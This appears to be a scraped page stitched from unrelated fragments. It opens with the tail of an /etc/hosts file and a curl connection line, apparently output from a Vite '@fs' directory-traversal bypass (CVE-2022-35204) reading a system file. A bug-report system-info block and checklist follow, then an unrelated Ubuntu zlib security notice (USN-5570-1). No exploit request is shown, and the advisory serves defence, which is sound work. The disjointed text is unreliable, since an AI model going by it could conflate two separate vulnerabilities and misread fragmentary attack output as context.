# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
\* Connection #0 to host 192.168.125.129 left intact

**System Info**

Windows

  System:
    OS: Windows 10 10.0.19044
    CPU: (16) x64 AMD Ryzen 7 3800X 8-Core Processor
    Memory: 33.13 GB / 63.93 GB
  Binaries:
    Node: 16.13.2 - C:\\Program Files\\nodejs\\node.EXE
    Yarn: 1.22.10 - ~\\AppData\\Roaming\\npm\\yarn.CMD
    npm: 8.1.2 - C:\\Program Files\\nodejs\\npm.CMD
  Browsers:
    Edge: Spartan (44.19041.1266.0), Chromium (102.0.1245.33)    
    Internet Explorer: 11.0.19041.1566
  npmPackages:
    @vitejs/plugin-vue: ^2.3.3 =\> 2.3.3
    vite: ^2.9.9 =\> 2.9.10

Linux

      System:
        OS: Linux 5.13 Ubuntu 20.04.3 LTS (Focal Fossa)
        CPU: (6) x64 AMD Ryzen 7 3800X 8-Core Processor
        Memory: 12.21 GB / 15.59 GB
        Container: Yes
        Shell: 5.0.17 - /bin/bash
      Binaries:
        Node: 14.18.3 - /usr/bin/node
        Yarn: 1.22.10 - /usr/bin/yarn
        npm: 6.14.15 - /usr/bin/npm
      Browsers:
        Chrome: 97.0.4692.99
        Firefox: 100.0.2
    

**Used Package Manager**

npm

**Validations**

*   Follow our Code of Conduct
*   Read the Contributing Guidelines.
*   Read the docs.
*   Check that there isn't already an issue that reports the same bug to avoid creating a duplicate.
*   Make sure this is a Vite issue and not a framework-specific issue. For example, if it's a Vue SFC related bug, it should likely be reported to https://github.com/vuejs/core instead.
*   Check that this is a concrete bug. For Q&A open a GitHub Discussion or join our Discord Chat Server.
*   The provided reproduction is a minimal reproducible example of the bug.

CVE-2022-35204: Unrestricted directory traversal with `@fs` (Bypass) · Issue #8498 · vitejs/vite

Ubuntu Security Notice 5570-1 - Evgeny Legerov discovered that zlib incorrectly handled memory when performing certain inflate operations. An attacker could use this issue to cause zlib to crash, resulting in a denial of service, or possibly execute arbitrary code.

==========================================================================  
Ubuntu Security Notice USN-5570-1  
August 17, 2022

zlib vulnerability  
==========================================================================

A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 18.04 LTS  
- Ubuntu 16.04 ESM  
- Ubuntu 14.04 ESM

Summary:

zlib could be made to crash or run programs if it received specially  
crafted input.

Software Description:  
- zlib: Lossless data-compression library

Details:

Evgeny Legerov discovered that zlib incorrectly handled memory when  
performing certain inflate operations. An attacker could use this issue  
to cause zlib to crash, resulting in a denial of service, or possibly  
execute arbitrary code.

Update instructions:

The problem can be corrected by updating your system to the following  
package versions:

Ubuntu 18.04 LTS:  
   lib32z1                         1:1.2.11.dfsg-0ubuntu2.2  
   lib64z1                         1:1.2.11.dfsg-0ubuntu2.2  
   libx32z1                        1:1.2.11.dfsg-0ubuntu2.2  
   zlib1g                          1:1.2.11.dfsg-0ubuntu2.2

Ubuntu 16.04 ESM:  
   lib32z1                         1:1.2.8.dfsg-2ubuntu4.3+esm2  
   lib64z1                         1:1.2.8.dfsg-2ubuntu4.3+esm2  
   libx32z1                        1:1.2.8.dfsg-2ubuntu4.3+esm2  
   zlib1g                          1:1.2.8.dfsg-2ubuntu4.3+esm2

Ubuntu 14.04 ESM:  
   lib32z1                         1:1.2.8.dfsg-1ubuntu1.1+esm2  
   lib64z1                         1:1.2.8.dfsg-1ubuntu1.1+esm2  
   libx32z1                        1:1.2.8.dfsg-1ubuntu1.1+esm2  
   zlib-bin                        1:1.2.8.dfsg-1ubuntu1.1+esm2  
   zlib1g                          1:1.2.8.dfsg-1ubuntu1.1+esm2

In general, a standard system update will make all the necessary changes.

References:  
   https://ubuntu.com/security/notices/USN-5570-1  
   CVE-2022-37434

Package Information:  
   https://launchpad.net/ubuntu/+source/zlib/1:1.2.11.dfsg-0ubuntu2.2

Tag

#ubuntu